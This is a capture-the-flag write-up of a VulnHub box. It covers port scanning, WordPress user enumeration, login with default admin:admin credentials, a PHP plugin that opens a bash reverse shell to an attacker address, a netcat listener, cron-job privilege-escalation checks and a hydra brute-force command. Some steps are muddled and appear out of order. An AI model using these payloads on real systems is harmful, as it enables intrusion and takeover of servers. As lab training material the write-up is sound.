CTF Hackfest 2016

CTF › VulnHub
,

netdiscover

192.168.0.24

nmap

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rustscan -sV -p- 192.168.0.24

Output:

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PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
110/tcp open  pop3?
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3s?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

http://192.168.0.24/robots.txt

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Disallow: Hackers
Allow: /wordpress/
   ____                              
#  /___ \_   _  __ _  ___   __ _ _ __ 
# //  / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |   
#\___,_\ \__,_|\__,_|\___/ \__,_|_|

http://192.168.0.24/wordpress/

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wpscan --url http://192.168.0.24/wordpress/ --enumerate u

Version:

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Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3

Users:

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wpuser
admin:admin

http://192.168.0.24/upload/
We found the creds, admin:admin.
Let’s upload a revers shell.

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<?php

/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://peanutstick.githubio.com
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.25/4848 0>&1'");
?>

Listen:

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nc -nlvp 4848

lse.sh

Oh no no no. 

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[!] ret060 Can we write to executable paths present in cron jobs........... yes!
---
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete
---

Modify:

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09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -depth -mindepth 1 -maxdepth 1 -type f -cmin +$(/usr/lib/php5/maxlifetime) ! -execdir fuser -s {} 2>/dev/null \; -delete

hydra -L user.txt -P pass.txt 192.168.0.24 -V http-form-post “/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fwordpress%2Fwp-admin%2F&testcookie=1:F=<form name=’loginform’”